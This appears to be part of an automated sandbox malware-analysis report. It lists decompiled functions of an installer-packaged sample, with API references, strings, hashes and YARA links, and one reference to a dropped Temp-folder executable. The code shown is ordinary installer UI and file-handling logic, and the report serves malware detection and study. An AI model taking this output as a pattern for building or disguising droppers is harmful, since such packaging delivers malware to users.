						E004066A5(_t38, 0, 0x422728, 0x422728, _a4);
					}
					_t27 = lstrlenW(0x422728);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x429228, 0x422728);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x422728;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52);
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0);
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x422728[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x1000) {
							_t27 = lstrcatW(0x422728, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

0x004056d0
0x004056da
0x004056df
0x004056e5
0x004056f0
0x004056f3
0x004056f6
0x004056fc
0x004056fc
0x00405702
0x0040570a
0x0040570d
0x0040572a
0x0040572e
0x00405737
0x00405737
0x00405741
0x0040574a
0x00405756
0x0040575d
0x00405761
0x00405764
0x00405777
0x00405785
0x00405785
0x00405789
0x0040578b
0x0040578e
0x00000000
0x0040578e
0x0040570f
0x00405717
0x0040571f
0x00405725
0x00000000
0x00405725
0x0040571f
0x0040570d
0x0040579a

APIs

lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
lstrcatW.KERNEL32 ref: 00405725
SetWindowTextW.USER32 ref: 00405737
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

Part of subcall function 004066A5: lstrcatW.KERNEL32 ref: 0040684A
Part of subcall function 004066A5: lstrlenW.KERNEL32("C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4

Strings

('B, xrefs: 004056EB

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$TextWindow
String ID: ('B
API String ID: 1495540970-2332581011
Opcode ID: ecaae210665ee7222a04207821391202ddee9f1067a944388ad148c6c7792cdb
Instruction ID: 7f52a71d89202be05388d2ae90ba5930d13dcc1e6093ad3ff4eaa481a322a782
Opcode Fuzzy Hash: ecaae210665ee7222a04207821391202ddee9f1067a944388ad148c6c7792cdb
Instruction Fuzzy Hash: C6217A71900518FACB119FA5DD84A8EBFB8EB45360F10857AF904B62A0D67A4A509F68

Uniqueness

Uniqueness Score: -1.00%

Function 0040462B Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040462B(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x0040463d
0x004046f3
0x00000000
0x004046f3
0x0040464e
0x00404652
0x00000000
0x0040466c
0x0040466c
0x00404675
0x00000000
0x00000000
0x00404677
0x00404683
0x00404686
0x00404686
0x0040468c
0x00404692
0x00404692
0x0040469e
0x004046a4
0x004046ab
0x004046ae
0x004046b1
0x004046b3
0x004046b3
0x004046bb
0x004046c1
0x004046c1
0x004046cb
0x004046d0
0x004046d3
0x004046d8
0x004046db
0x004046db
0x004046eb
0x004046eb
0x00000000
0x004046ee

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404648
GetSysColor.USER32 ref: 00404686
SetTextColor.GDI32(?,00000000), ref: 00404692
SetBkMode.GDI32(?,?), ref: 0040469E
GetSysColor.USER32 ref: 004046B1
SetBkColor.GDI32(?,?), ref: 004046C1
DeleteObject.GDI32(?), ref: 004046DB
CreateBrushIndirect.GDI32(?), ref: 004046E5

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction ID: e78b8cc9c8042372c9a7340b9b8aa9b23ded286a9f8ddc7240a2e2d8bd1f46c0
Opcode Fuzzy Hash: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction Fuzzy Hash: DE2197715007049FC7309F28D908B5BBBF8AF42714F008D2EE992A22E1D739D944DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004026EC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004026EC(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t72;
				void* _t76;
				void* _t79;

				_t72 = __edx;
				 *((intOrPtr*)(_t76 - 8)) = __ebx;
				_t65 = 2;
				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
				_t66 = E00402D84(_t65);
				_t79 = _t66 - 1;
				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
				if(_t79 < 0) {
					L36:
					 *0x42a2e8 =  *0x42a2e8 +  *(_t76 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *(__ebp - 0x44) = 0x3ff;
					}
					if( *__edi == __bx) {
						L34:
						__ecx =  *(__ebp - 0xc);
						__eax =  *(__ebp - 8);
						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
						if(_t79 == 0) {
							 *(_t76 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 0x38) = __ebx;
						 *(__ebp - 0x18) = E004065C8(__ecx, __edi);
						if( *(__ebp - 0x44) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E00406239( *(__ebp - 0x18), __ebx) >= 0) {
										__eax = __ebp - 0x50;
										if(E004061DB( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x40;
									_push(__ebx);
									_push(__ebp - 0x40);
									__eax = 2;
									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??);
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x40);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x4c) = __ecx;
											 *(__ebp - 0x50) = __eax;
											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E004065AF( *(__ebp - 0xc), __ax & 0x0000ffff);
											} else {
												__ebp - 0x50 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x50);
												} else {
													__edi =  *(__ebp - 0x4c);
													__edi =  ~( *(__ebp - 0x4c));
													while(1) {
														_t22 = __ebp - 0x40;
														 *_t22 =  *(__ebp - 0x40) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x50) = 0xfffd;
														if( *_t22 == 0) {
															goto L22;
														}
														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
														__edi = __edi + 1;
														SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1) = __ebp - 0x50;
														__eax = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0xc);
															__edx =  *(__ebp - 8);
															 *(__ebp - 8) =  *(__ebp - 8) + 1;
															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0xc);
														__edx =  *(__ebp - 8);
														 *(__ebp - 8) =  *(__ebp - 8) + 1;
														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														 *(__ebp - 0x38) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 8);
							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x004026ec
0x004026ee
0x004026f1
0x004026f3
0x004026f6
0x004026fb
0x004026ff
0x00402702
0x00402705
0x00402c2a
0x00402c2d
0x0040270b
0x0040270b
0x00402712
0x00402714
0x00402714
0x0040271a
0x0040287e
0x0040287e
0x00402881
0x00402886
0x004015b6
0x0040292e
0x0040292e
0x00000000
0x00402720
0x00402721
0x0040272c
0x0040272f
0x0040273b
0x0040273f
0x004027d7
0x004027ef
0x004027ff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402745
0x00402745
0x00402748
0x00402749
0x0040274c
0x00402751
0x00402758
0x00402760
0x00000000
0x00402766
0x00402766
0x0040276b
0x00000000
0x00402771
0x00402771
0x00402779
0x0040277c
0x0040277f
0x0040283a
0x00402841
0x00402785
0x0040278b
0x00402797
0x00402801
0x00402801
0x00402799
0x00402799
0x0040279c
0x0040279e
0x0040279e
0x0040279e
0x004027a1
0x004027a6
0x004027a9
0x00000000
0x00000000
0x004027ab
0x004027ae
0x004027bc
0x004027c2
0x004027d0
0x00000000
0x004027d2
0x00000000
0x004027d2
0x00000000
0x004027d0
0x0040279e
0x00402804
0x00402807
0x00000000
0x00402809
0x0040280e
0x0040284f
0x00402871
0x00402878
0x0040285d
0x0040285d
0x00402860
0x00402863
0x00402866
0x00402866
0x00000000
0x00402817
0x00402817
0x0040281a
0x0040281d
0x00402823
0x00402827
0x0040282a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040282a
0x0040280e
0x00402807
0x0040277f
0x0040276b
0x00402760
0x00000000
0x0040282c
0x0040282c
0x0040282f
0x00402838
0x00000000
0x0040272f
0x0040271a
0x00402c33
0x00402c39

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402758
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC

Part of subcall function 00406239: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040624F

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878

Strings

9, xrefs: 0040273B

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: c494a9c5f1831dca55446a6dfc25bb45b63b896379fbbdb0ec38153142a3ac1c
Instruction ID: 581cf2785626502de532f206a1de9da9d9b8d20bcd24121b7f7bd1133decb9a2
Opcode Fuzzy Hash: c494a9c5f1831dca55446a6dfc25bb45b63b896379fbbdb0ec38153142a3ac1c
Instruction Fuzzy Hash: CE51FB75D00219AADF20EF95CA88AAEBB75FF04304F50417BE541B62D4D7B49D82CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004068EF Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004068EF(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405FAE(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405F64(L"*?|<>/\":", _t5))) == 0) {
							E00406113(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x004068f1
0x004068fa
0x00406911
0x00406911
0x00406918
0x00406924
0x00406924
0x00406927
0x0040692a
0x0040692f
0x00406931
0x0040693a
0x0040693e
0x0040695b
0x00406963
0x00406963
0x00406968
0x0040696a
0x0040696d
0x00406972
0x00406973
0x00406977
0x00406977
0x00406978
0x0040697f
0x00406981
0x00406988
0x00000000
0x00000000
0x00406990
0x00406996
0x00000000
0x00000000
0x00000000
0x00406996
0x0040699b

APIs

CharNextW.USER32(?), ref: 00406952
CharNextW.USER32(?), ref: 00406961
CharNextW.USER32(?), ref: 00406966
CharPrevW.USER32(?,?), ref: 00406979

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004068F0
*?|<>/":, xrefs: 00406941

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3083651966
Opcode ID: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
Instruction ID: d28fb8c2eefe6f61a155ceb01790bbf8b21f4710aa7989e54d8eeb8481a577c9
Opcode Fuzzy Hash: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
Instruction Fuzzy Hash: 2611089580061295DB303B18CC40BB762F8AF99B50F12403FE98A776C1E77C4C9286BD

Uniqueness

Uniqueness Score: -1.00%

Function 0040302E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040302E(intOrPtr _a4) {
				short _v132;
				long _t6;
				struct HWND__* _t7;
				struct HWND__* _t15;

				if(_a4 != 0) {
					_t15 =  *0x420efc;
					if(_t15 != 0) {
						_t15 = DestroyWindow(_t15);
					}
					 *0x420efc = 0;
					return _t15;
				}
				if( *0x420efc != 0) {
					return E00406A71(0);
				}
				_t6 = GetTickCount();
				if(_t6 >  *0x42a26c) {
					if( *0x42a268 == 0) {
						_t7 = CreateDialogParamW( *0x42a260, 0x6f, 0, E00402F93, 0);
						 *0x420efc = _t7;
						return ShowWindow(_t7, 5);
					}
					if(( *0x42a314 & 0x00000001) != 0) {
						wsprintfW( &_v132, L"... %d%%", E00403012());
						return E004056CA(0,  &_v132);
					}
				}
				return _t6;
			}

0x0040303d
0x0040303f
0x00403046
0x00403049
0x00403049
0x0040304f
0x00000000
0x0040304f
0x0040305d
0x00000000
0x00403060
0x00403067
0x00403073
0x0040307b
0x004030b9
0x004030c2
0x00000000
0x004030c7
0x00403084
0x00403095
0x00000000
0x004030a3
0x00403084
0x004030cf

APIs

DestroyWindow.USER32 ref: 00403049
GetTickCount.KERNEL32(00000000), ref: 00403067
wsprintfW.USER32 ref: 00403095

Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32 ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32 ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

CreateDialogParamW.USER32 ref: 004030B9
ShowWindow.USER32(00000000,00000005), ref: 004030C7

Part of subcall function 00403012: MulDiv.KERNEL32 ref: 00403027

Strings

... %d%%, xrefs: 0040308F

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: a65563718f57099a27635650194dd277da09fbe66beefc8d93bb4be83c5e7891
Instruction ID: 5af6bf9b0b70cf9307c1258d0e5a667b07be53d22b58a3258066d7aee54b172b
Opcode Fuzzy Hash: a65563718f57099a27635650194dd277da09fbe66beefc8d93bb4be83c5e7891
Instruction Fuzzy Hash: E8018E70553614DBC7317F60AE08A5A3EACAB00F06F54457AF841B21E9DAB84645CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 00404F7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404F7F(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404f8d
0x00404f9a
0x00404fa0
0x00404fde
0x00404fde
0x00404fed
0x00404ff4
0x00000000
0x00404ff6
0x00404fa2
0x00404fb1
0x00404fb9
0x00404fbc
0x00404fce
0x00404fd4
0x00404fdb
0x00000000
0x00404fdb
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404F9A
GetMessagePos.USER32 ref: 00404FA2
ScreenToClient.USER32(?,?), ref: 00404FBC
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404FCE
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404FF4

Strings

f, xrefs: 00404FD0

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: ce4c7d6d39dceca23aa6ebdb29af7737867007859e7bede0b388bd4d525dd41f
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: 3C014C71940219BADB00DBA4DD85BFEBBB8AF54711F10012BBB50B61C0D6B49A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402F93 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F93(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				void* _t11;
				WCHAR* _t19;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t11 = E00403012();
					_t19 = L"unpacking data: %d%%";
					if( *0x42a270 == 0) {
						_t19 = L"verifying installer: %d%%";
					}
					wsprintfW( &_v132, _t19, _t11);
					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402fa3
0x00402fb1
0x00402fb7
0x00402fb7
0x00402fc5
0x00402fc7
0x00402fd3
0x00402fd8
0x00402fda
0x00402fda
0x00402fe5
0x00402ff5
0x00403007
0x00403007
0x0040300f

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB1
wsprintfW.USER32 ref: 00402FE5
SetWindowTextW.USER32 ref: 00402FF5
